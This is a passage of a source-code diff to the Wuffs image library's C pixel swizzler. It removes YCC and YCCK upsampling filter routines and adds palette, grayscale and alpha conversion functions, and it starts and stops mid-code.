++ ((size_t)s[1] * 4)); ++ if (s1) { ++ wuffs_base__poke_u24le__no_bounds_check(d + (1 * 3), s1); ++ } ++ uint32_t s2 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[2] * 4)); ++ if (s2) { ++ wuffs_base__poke_u24le__no_bounds_check(d + (2 * 3), s2); ++ } ++ uint32_t s3 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[3] * 4)); ++ if (s3) { ++ wuffs_base__poke_u24le__no_bounds_check(d + (3 * 3), s3); + } + +- uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; +- uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; +- uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; +- uint32_t src_len3 = ((end - x) + inv_h3 - 1u) / inv_h3; +- total_src_len0 += src_len0; +- total_src_len1 += src_len1; +- total_src_len2 += src_len2; +- total_src_len3 += src_len3; +- +- const uint8_t* src_ptr_x0 = src0 + (x / inv_h0); +- const uint8_t* up0 = (*upfunc0)( // +- scratch_buffer_2k_ptr + (0u * 480u), // +- src_ptr_x0, // +- src_ptr_x0, // +- src_len0, // +- h1v2_bias, // +- first_column, // +- (total_src_len0 >= half_width_for_2to1)); +- +- const uint8_t* src_ptr_x1 = src1 + (x / inv_h1); +- const uint8_t* up1 = (*upfunc1)( // +- scratch_buffer_2k_ptr + (1u * 480u), // +- src_ptr_x1, // +- src_ptr_x1, // +- src_len1, // +- h1v2_bias, // +- first_column, // +- (total_src_len1 >= half_width_for_2to1)); +- +- const uint8_t* src_ptr_x2 = src2 + (x / inv_h2); +- const uint8_t* up2 = (*upfunc2)( // +- scratch_buffer_2k_ptr + (2u * 480u), // +- src_ptr_x2, // +- src_ptr_x2, // +- src_len2, // +- h1v2_bias, // +- first_column, // +- (total_src_len2 >= half_width_for_2to1)); ++ s += loop_unroll_count * 1; ++ d += loop_unroll_count * 3; ++ n -= loop_unroll_count; ++ } + +- const uint8_t* src_ptr_x3 = src3 + (x / inv_h3); +- const uint8_t* up3 = (*upfunc3)( // +- scratch_buffer_2k_ptr + (3u * 480u), // +- src_ptr_x3, // +- src_ptr_x3, // +- src_len3, // +- h1v2_bias, // +- first_column, // +- (total_src_len3 >= half_width_for_2to1)); ++ while (n >= 1) { ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ if (s0) { ++ wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); ++ } + +- (*conv4func)(dst, x, end, y, up0, up1, up2, up3); +- x = end; ++ s += 1 * 1; ++ d += 1 * 3; ++ n -= 1; + } +-} +- +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycck__general__triangle_filter( +- wuffs_base__pixel_buffer* dst, +- uint32_t width, +- uint32_t height, +- const uint8_t* src_ptr0, +- const uint8_t* src_ptr1, +- const uint8_t* src_ptr2, +- const uint8_t* src_ptr3, +- uint32_t stride0, +- uint32_t stride1, +- uint32_t stride2, +- uint32_t stride3, +- uint32_t inv_h0, +- uint32_t inv_h1, +- uint32_t inv_h2, +- uint32_t inv_h3, +- uint32_t inv_v0, +- uint32_t inv_v1, +- uint32_t inv_v2, +- uint32_t inv_v3, +- uint32_t half_width_for_2to1, +- uint32_t half_height_for_2to1, +- uint8_t* scratch_buffer_2k_ptr, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func (*upfuncs)[4][4], +- wuffs_base__pixel_swizzler__swizzle_ycc__convert_4_func conv4func) { +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc0 = +- (*upfuncs)[(inv_h0 - 1u) & 3u][(inv_v0 - 1u) & 3u]; +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc1 = +- (*upfuncs)[(inv_h1 - 1u) & 3u][(inv_v1 - 1u) & 3u]; +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc2 = +- (*upfuncs)[(inv_h2 - 1u) & 3u][(inv_v2 - 1u) & 3u]; +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc3 = +- (*upfuncs)[(inv_h3 - 1u) & 3u][(inv_v3 - 1u) & 3u]; + +- // First row. +- uint32_t h1v2_bias = 1u; +- wuffs_base__pixel_swizzler__swizzle_ycck__general__triangle_filter_edge_row( +- dst, width, 0u, // +- src_ptr0, src_ptr1, src_ptr2, src_ptr3, // +- stride0, stride1, stride2, stride3, // +- inv_h0, inv_h1, inv_h2, inv_h3, // +- inv_v0, inv_v1, inv_v2, inv_v3, // +- half_width_for_2to1, // +- h1v2_bias, // +- scratch_buffer_2k_ptr, // +- upfunc0, upfunc1, upfunc2, upfunc3, conv4func); +- h1v2_bias = 2u; ++ return len; ++} + +- // Middle rows. +- bool last_row = height == 2u * half_height_for_2to1; +- uint32_t y_max_excl = last_row ? (height - 1u) : height; +- uint32_t y; +- for (y = 1u; y < y_max_excl; y++) { +- const uint8_t* src0_major = src_ptr0 + ((y / inv_v0) * (size_t)stride0); +- const uint8_t* src0_minor = +- (inv_v0 != 2u) +- ? src0_major +- : ((y & 1u) ? (src0_major + stride0) : (src0_major - stride0)); +- const uint8_t* src1_major = src_ptr1 + ((y / inv_v1) * (size_t)stride1); +- const uint8_t* src1_minor = +- (inv_v1 != 2u) +- ? src1_major +- : ((y & 1u) ? (src1_major + stride1) : (src1_major - stride1)); +- const uint8_t* src2_major = src_ptr2 + ((y / inv_v2) * (size_t)stride2); +- const uint8_t* src2_minor = +- (inv_v2 != 2u) +- ? src2_major +- : ((y & 1u) ? (src2_major + stride2) : (src2_major - stride2)); +- const uint8_t* src3_major = src_ptr3 + ((y / inv_v3) * (size_t)stride3); +- const uint8_t* src3_minor = +- (inv_v3 != 2u) +- ? src3_major +- : ((y & 1u) ? (src3_major + stride3) : (src3_major - stride3)); +- uint32_t total_src_len0 = 0u; +- uint32_t total_src_len1 = 0u; +- uint32_t total_src_len2 = 0u; +- uint32_t total_src_len3 = 0u; ++static uint64_t // ++wuffs_private_impl__swizzle_xxx__xxxx(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- uint32_t x = 0u; +- while (x < width) { +- bool first_column = x == 0u; +- uint32_t end = x + 480u; +- if (end > width) { +- end = width; +- } ++ // TODO: unroll. + +- uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; +- uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; +- uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; +- uint32_t src_len3 = ((end - x) + inv_h3 - 1u) / inv_h3; +- total_src_len0 += src_len0; +- total_src_len1 += src_len1; +- total_src_len2 += src_len2; +- total_src_len3 += src_len3; ++ while (n >= 1) { ++ wuffs_base__poke_u24le__no_bounds_check( ++ d + (0 * 3), wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); + +- const uint8_t* up0 = (*upfunc0)( // +- scratch_buffer_2k_ptr + (0u * 480u), // +- src0_major + (x / inv_h0), // +- src0_minor + (x / inv_h0), // +- src_len0, // +- h1v2_bias, // +- first_column, // +- (total_src_len0 >= half_width_for_2to1)); ++ s += 1 * 4; ++ d += 1 * 3; ++ n -= 1; ++ } + +- const uint8_t* up1 = (*upfunc1)( // +- scratch_buffer_2k_ptr + (1u * 480u), // +- src1_major + (x / inv_h1), // +- src1_minor + (x / inv_h1), // +- src_len1, // +- h1v2_bias, // +- first_column, // +- (total_src_len1 >= half_width_for_2to1)); ++ return len; ++} + +- const uint8_t* up2 = (*upfunc2)( // +- scratch_buffer_2k_ptr + (2u * 480u), // +- src2_major + (x / inv_h2), // +- src2_minor + (x / inv_h2), // +- src_len2, // +- h1v2_bias, // +- first_column, // +- (total_src_len2 >= half_width_for_2to1)); ++static uint64_t // ++wuffs_private_impl__swizzle_xxx__y(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; ++ size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- const uint8_t* up3 = (*upfunc3)( // +- scratch_buffer_2k_ptr + (3u * 480u), // +- src3_major + (x / inv_h3), // +- src3_minor + (x / inv_h3), // +- src_len3, // +- h1v2_bias, // +- first_column, // +- (total_src_len3 >= half_width_for_2to1)); ++ // TODO: unroll. + +- (*conv4func)(dst, x, end, y, up0, up1, up2, up3); +- x = end; +- } ++ while (n >= 1) { ++ uint8_t s0 = s[0]; ++ d[0] = s0; ++ d[1] = s0; ++ d[2] = s0; + +- h1v2_bias ^= 3u; ++ s += 1 * 1; ++ d += 1 * 3; ++ n -= 1; + } + +- // Last row. +- if (y_max_excl != height) { +- wuffs_base__pixel_swizzler__swizzle_ycck__general__triangle_filter_edge_row( +- dst, width, height - 1u, // +- src_ptr0, src_ptr1, src_ptr2, src_ptr3, // +- stride0, stride1, stride2, stride3, // +- inv_h0, inv_h1, inv_h2, inv_h3, // +- inv_v0, inv_v1, inv_v2, inv_v3, // +- half_width_for_2to1, // +- h1v2_bias, // +- scratch_buffer_2k_ptr, // +- upfunc0, upfunc1, upfunc2, upfunc3, conv4func); +- } ++ return len; + } + +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycc__general__triangle_filter_edge_row( +- wuffs_base__pixel_buffer* dst, +- uint32_t width, +- uint32_t y, +- const uint8_t* src_ptr0, +- const uint8_t* src_ptr1, +- const uint8_t* src_ptr2, +- uint32_t stride0, +- uint32_t stride1, +- uint32_t stride2, +- uint32_t inv_h0, +- uint32_t inv_h1, +- uint32_t inv_h2, +- uint32_t inv_v0, +- uint32_t inv_v1, +- uint32_t inv_v2, +- uint32_t half_width_for_2to1, +- uint32_t h1v2_bias, +- uint8_t* scratch_buffer_2k_ptr, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc0, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc1, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc2, +- wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_func conv3func) { +- const uint8_t* src0 = src_ptr0 + ((y / inv_v0) * (size_t)stride0); +- const uint8_t* src1 = src_ptr1 + ((y / inv_v1) * (size_t)stride1); +- const uint8_t* src2 = src_ptr2 + ((y / inv_v2) * (size_t)stride2); +- uint32_t total_src_len0 = 0u; +- uint32_t total_src_len1 = 0u; +- uint32_t total_src_len2 = 0u; +- +- uint32_t x = 0u; +- while (x < width) { +- bool first_column = x == 0u; +- uint32_t end = x + 672u; +- if (end > width) { +- end = width; +- } +- +- uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; +- uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; +- uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; +- total_src_len0 += src_len0; +- total_src_len1 += src_len1; +- total_src_len2 += src_len2; +- +- const uint8_t* src_ptr_x0 = src0 + (x / inv_h0); +- const uint8_t* up0 = (*upfunc0)( // +- scratch_buffer_2k_ptr + (0u * 672u), // +- src_ptr_x0, // +- src_ptr_x0, // +- src_len0, // +- h1v2_bias, // +- first_column, // +- (total_src_len0 >= half_width_for_2to1)); ++static uint64_t // ++wuffs_private_impl__swizzle_xxx__y_16be(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- const uint8_t* src_ptr_x1 = src1 + (x / inv_h1); +- const uint8_t* up1 = (*upfunc1)( // +- scratch_buffer_2k_ptr + (1u * 672u), // +- src_ptr_x1, // +- src_ptr_x1, // +- src_len1, // +- h1v2_bias, // +- first_column, // +- (total_src_len1 >= half_width_for_2to1)); ++ // TODO: unroll. + +- const uint8_t* src_ptr_x2 = src2 + (x / inv_h2); +- const uint8_t* up2 = (*upfunc2)( // +- scratch_buffer_2k_ptr + (2u * 672u), // +- src_ptr_x2, // +- src_ptr_x2, // +- src_len2, // +- h1v2_bias, // +- first_column, // +- (total_src_len2 >= half_width_for_2to1)); ++ while (n >= 1) { ++ uint8_t s0 = s[0]; ++ d[0] = s0; ++ d[1] = s0; ++ d[2] = s0; + +- (*conv3func)(dst, x, end, y, up0, up1, up2); +- x = end; ++ s += 1 * 2; ++ d += 1 * 3; ++ n -= 1; + } +-} + +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycc__general__triangle_filter( +- wuffs_base__pixel_buffer* dst, +- uint32_t width, +- uint32_t height, +- const uint8_t* src_ptr0, +- const uint8_t* src_ptr1, +- const uint8_t* src_ptr2, +- uint32_t stride0, +- uint32_t stride1, +- uint32_t stride2, +- uint32_t inv_h0, +- uint32_t inv_h1, +- uint32_t inv_h2, +- uint32_t inv_v0, +- uint32_t inv_v1, +- uint32_t inv_v2, +- uint32_t half_width_for_2to1, +- uint32_t half_height_for_2to1, +- uint8_t* scratch_buffer_2k_ptr, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func (*upfuncs)[4][4], +- wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_func conv3func) { +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc0 = +- (*upfuncs)[(inv_h0 - 1u) & 3u][(inv_v0 - 1u) & 3u]; +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc1 = +- (*upfuncs)[(inv_h1 - 1u) & 3u][(inv_v1 - 1u) & 3u]; +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc2 = +- (*upfuncs)[(inv_h2 - 1u) & 3u][(inv_v2 - 1u) & 3u]; ++ return len; ++} + +- // First row. +- uint32_t h1v2_bias = 1u; +- wuffs_base__pixel_swizzler__swizzle_ycc__general__triangle_filter_edge_row( +- dst, width, 0u, // +- src_ptr0, src_ptr1, src_ptr2, // +- stride0, stride1, stride2, // +- inv_h0, inv_h1, inv_h2, // +- inv_v0, inv_v1, inv_v2, // +- half_width_for_2to1, // +- h1v2_bias, // +- scratch_buffer_2k_ptr, // +- upfunc0, upfunc1, upfunc2, conv3func); +- h1v2_bias = 2u; ++static uint64_t // ++wuffs_private_impl__swizzle_xxx__ya_nonpremul__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- // Middle rows. +- bool last_row = height == 2u * half_height_for_2to1; +- uint32_t y_max_excl = last_row ? (height - 1u) : height; +- uint32_t y; +- for (y = 1u; y < y_max_excl; y++) { +- const uint8_t* src0_major = src_ptr0 + ((y / inv_v0) * (size_t)stride0); +- const uint8_t* src0_minor = +- (inv_v0 != 2u) +- ? src0_major +- : ((y & 1u) ? (src0_major + stride0) : (src0_major - stride0)); +- const uint8_t* src1_major = src_ptr1 + ((y / inv_v1) * (size_t)stride1); +- const uint8_t* src1_minor = +- (inv_v1 != 2u) +- ? src1_major +- : ((y & 1u) ? (src1_major + stride1) : (src1_major - stride1)); +- const uint8_t* src2_major = src_ptr2 + ((y / inv_v2) * (size_t)stride2); +- const uint8_t* src2_minor = +- (inv_v2 != 2u) +- ? src2_major +- : ((y & 1u) ? (src2_major + stride2) : (src2_major - stride2)); +- uint32_t total_src_len0 = 0u; +- uint32_t total_src_len1 = 0u; +- uint32_t total_src_len2 = 0u; ++ // TODO: unroll. + +- uint32_t x = 0u; +- while (x < width) { +- bool first_column = x == 0u; +- uint32_t end = x + 672u; +- if (end > width) { +- end = width; +- } ++ while (n >= 1) { ++ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); ++ wuffs_base__poke_u24le__no_bounds_check( ++ d + (0 * 3), ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(s0)); + +- uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; +- uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; +- uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; +- total_src_len0 += src_len0; +- total_src_len1 += src_len1; +- total_src_len2 += src_len2; ++ s += 1 * 2; ++ d += 1 * 3; ++ n -= 1; ++ } + +- const uint8_t* up0 = (*upfunc0)( // +- scratch_buffer_2k_ptr + (0u * 672u), // +- src0_major + (x / inv_h0), // +- src0_minor + (x / inv_h0), // +- src_len0, // +- h1v2_bias, // +- first_column, // +- (total_src_len0 >= half_width_for_2to1)); ++ return len; ++} + +- const uint8_t* up1 = (*upfunc1)( // +- scratch_buffer_2k_ptr + (1u * 672u), // +- src1_major + (x / inv_h1), // +- src1_minor + (x / inv_h1), // +- src_len1, // +- h1v2_bias, // +- first_column, // +- (total_src_len1 >= half_width_for_2to1)); ++static uint64_t // ++wuffs_private_impl__swizzle_xxx__ya_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- const uint8_t* up2 = (*upfunc2)( // +- scratch_buffer_2k_ptr + (2u * 672u), // +- src2_major + (x / inv_h2), // +- src2_minor + (x / inv_h2), // +- src_len2, // +- h1v2_bias, // +- first_column, // +- (total_src_len2 >= half_width_for_2to1)); ++ // TODO: unroll. + +- (*conv3func)(dst, x, end, y, up0, up1, up2); +- x = end; +- } ++ while (n >= 1) { ++ uint32_t d0 = ++ wuffs_base__peek_u24le__no_bounds_check(d + (0 * 3)) | 0xFF000000; ++ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); ++ wuffs_base__poke_u24le__no_bounds_check( ++ d + (0 * 3), ++ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0)); + +- h1v2_bias ^= 3u; ++ s += 1 * 2; ++ d += 1 * 3; ++ n -= 1; + } + +- // Last row. +- if (y_max_excl != height) { +- wuffs_base__pixel_swizzler__swizzle_ycc__general__triangle_filter_edge_row( +- dst, width, height - 1u, // +- src_ptr0, src_ptr1, src_ptr2, // +- stride0, stride1, stride2, // +- inv_h0, inv_h1, inv_h2, // +- inv_v0, inv_v1, inv_v2, // +- half_width_for_2to1, // +- h1v2_bias, // +- scratch_buffer_2k_ptr, // +- upfunc0, upfunc1, upfunc2, conv3func); +- } ++ return len; + } + +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycc__general__box_filter( +- wuffs_base__pixel_buffer* dst, +- uint32_t width, +- uint32_t height, +- const uint8_t* src_ptr0, +- const uint8_t* src_ptr1, +- const uint8_t* src_ptr2, +- uint32_t stride0, +- uint32_t stride1, +- uint32_t stride2, +- uint32_t inv_h0, +- uint32_t inv_h1, +- uint32_t inv_h2, +- uint32_t inv_v0, +- uint32_t inv_v1, +- uint32_t inv_v2, +- uint32_t half_width_for_2to1, +- uint32_t half_height_for_2to1, +- uint8_t* scratch_buffer_2k_ptr, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func (*upfuncs)[4][4], +- wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_func conv3func) { +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc0 = +- (*upfuncs)[(inv_h0 - 1u) & 3u][(inv_v0 - 1u) & 3u]; +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc1 = +- (*upfuncs)[(inv_h1 - 1u) & 3u][(inv_v1 - 1u) & 3u]; +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc2 = +- (*upfuncs)[(inv_h2 - 1u) & 3u][(inv_v2 - 1u) & 3u]; +- +- uint32_t y; +- for (y = 0u; y < height; y++) { +- const uint8_t* src0_major = src_ptr0 + ((y / inv_v0) * (size_t)stride0); +- const uint8_t* src1_major = src_ptr1 + ((y / inv_v1) * (size_t)stride1); +- const uint8_t* src2_major = src_ptr2 + ((y / inv_v2) * (size_t)stride2); ++// -------- + +- uint32_t x = 0u; +- while (x < width) { +- uint32_t end = x + 672u; +- if (end > width) { +- end = width; +- } ++static uint64_t // ++wuffs_private_impl__swizzle_xxxx__index__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; ++ } ++ size_t dst_len4 = dst_len / 4; ++ size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; +- uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; +- uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; ++ const size_t loop_unroll_count = 4; + +- const uint8_t* up0 = (*upfunc0)( // +- scratch_buffer_2k_ptr + (0u * 672u), // +- src0_major + (x / inv_h0), // +- src0_major + (x / inv_h0), // +- src_len0, // +- 0u, false, false); ++ while (n >= loop_unroll_count) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), wuffs_base__peek_u32le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[0] * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (1 * 4), wuffs_base__peek_u32le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[1] * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (2 * 4), wuffs_base__peek_u32le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[2] * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (3 * 4), wuffs_base__peek_u32le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[3] * 4))); + +- const uint8_t* up1 = (*upfunc1)( // +- scratch_buffer_2k_ptr + (1u * 672u), // +- src1_major + (x / inv_h1), // +- src1_major + (x / inv_h1), // +- src_len1, // +- 0u, false, false); ++ s += loop_unroll_count * 1; ++ d += loop_unroll_count * 4; ++ n -= loop_unroll_count; ++ } + +- const uint8_t* up2 = (*upfunc2)( // +- scratch_buffer_2k_ptr + (2u * 672u), // +- src2_major + (x / inv_h2), // +- src2_major + (x / inv_h2), // +- src_len2, // +- 0u, false, false); ++ while (n >= 1) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), wuffs_base__peek_u32le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[0] * 4))); + +- (*conv3func)(dst, x, end, y, up0, up1, up2); +- x = end; +- } ++ s += 1 * 1; ++ d += 1 * 4; ++ n -= 1; + } +-} + +-// -------- ++ return len; ++} + +-// wuffs_base__pixel_swizzler__flattened_length is like +-// wuffs_base__table__flattened_length but returns uint64_t (not size_t) and +-// also accounts for subsampling. + static uint64_t // +-wuffs_base__pixel_swizzler__flattened_length(uint32_t width, +- uint32_t height, +- uint32_t stride, +- uint32_t inv_h, +- uint32_t inv_v) { +- uint64_t scaled_width = (((uint64_t)width) + (inv_h - 1u)) / inv_h; +- uint64_t scaled_height = (((uint64_t)height) + (inv_v - 1u)) / inv_v; +- if (scaled_height <= 0u) { +- return 0u; ++wuffs_private_impl__swizzle_xxxx__index_binary_alpha__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; + } +- return ((scaled_height - 1u) * stride) + scaled_width; +-} ++ size_t dst_len4 = dst_len / 4; ++ size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status // +-wuffs_base__pixel_swizzler__swizzle_ycck( +- const wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_buffer* dst, +- wuffs_base__slice_u8 dst_palette, +- uint32_t width, +- uint32_t height, +- wuffs_base__slice_u8 src0, +- wuffs_base__slice_u8 src1, +- wuffs_base__slice_u8 src2, +- wuffs_base__slice_u8 src3, +- uint32_t width0, +- uint32_t width1, +- uint32_t width2, +- uint32_t width3, +- uint32_t height0, +- uint32_t height1, +- uint32_t height2, +- uint32_t height3, +- uint32_t stride0, +- uint32_t stride1, +- uint32_t stride2, +- uint32_t stride3, +- uint8_t h0, +- uint8_t h1, +- uint8_t h2, +- uint8_t h3, +- uint8_t v0, +- uint8_t v1, +- uint8_t v2, +- uint8_t v3, +- bool is_rgb_or_cmyk, +- bool triangle_filter_for_2to1, +- wuffs_base__slice_u8 scratch_buffer_2k) { +- if (!p) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } else if (!dst || (width > 0xFFFFu) || (height > 0xFFFFu) || // +- (4u <= ((unsigned int)h0 - 1u)) || // +- (4u <= ((unsigned int)h1 - 1u)) || // +- (4u <= ((unsigned int)h2 - 1u)) || // +- (4u <= ((unsigned int)v0 - 1u)) || // +- (4u <= ((unsigned int)v1 - 1u)) || // +- (4u <= ((unsigned int)v2 - 1u)) || // +- (scratch_buffer_2k.len < 2048u)) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ const size_t loop_unroll_count = 4; ++ ++ while (n >= loop_unroll_count) { ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ if (s0) { ++ wuffs_base__poke_u32le__no_bounds_check(d + (0 * 4), s0); ++ } ++ uint32_t s1 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[1] * 4)); ++ if (s1) { ++ wuffs_base__poke_u32le__no_bounds_check(d + (1 * 4), s1); ++ } ++ uint32_t s2 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[2] * 4)); ++ if (s2) { ++ wuffs_base__poke_u32le__no_bounds_check(d + (2 * 4), s2); ++ } ++ uint32_t s3 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[3] * 4)); ++ if (s3) { ++ wuffs_base__poke_u32le__no_bounds_check(d + (3 * 4), s3); ++ } ++ ++ s += loop_unroll_count * 1; ++ d += loop_unroll_count * 4; ++ n -= loop_unroll_count; + } +- if ((h3 != 0u) || (v3 != 0u)) { +- if ((4u <= ((unsigned int)h3 - 1u)) || // +- (4u <= ((unsigned int)v3 - 1u))) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ ++ while (n >= 1) { ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ if (s0) { ++ wuffs_base__poke_u32le__no_bounds_check(d + (0 * 4), s0); + } ++ ++ s += 1 * 1; ++ d += 1 * 4; ++ n -= 1; + } + +- uint32_t max_incl_h = wuffs_base__u32__max_of_4(h0, h1, h2, h3); +- uint32_t max_incl_v = wuffs_base__u32__max_of_4(v0, v1, v2, v3); ++ return len; ++} + +- // Calculate the inverse h and v ratios. +- // +- // It also canonicalizes (h=2 and max_incl_h=4) as equivalent to (h=1 and +- // max_incl_h=2). In both cases, the inv_h value is 2. +- uint32_t inv_h0 = max_incl_h / h0; +- uint32_t inv_h1 = max_incl_h / h1; +- uint32_t inv_h2 = max_incl_h / h2; +- uint32_t inv_h3 = h3 ? (max_incl_h / h3) : 0u; +- uint32_t inv_v0 = max_incl_v / v0; +- uint32_t inv_v1 = max_incl_v / v1; +- uint32_t inv_v2 = max_incl_v / v2; +- uint32_t inv_v3 = v3 ? (max_incl_v / v3) : 0u; ++// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") ++static uint64_t // ++wuffs_private_impl__swizzle_xxxx__y__x86_sse42(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- uint32_t half_width_for_2to1 = (width + 1u) / 2u; +- uint32_t half_height_for_2to1 = 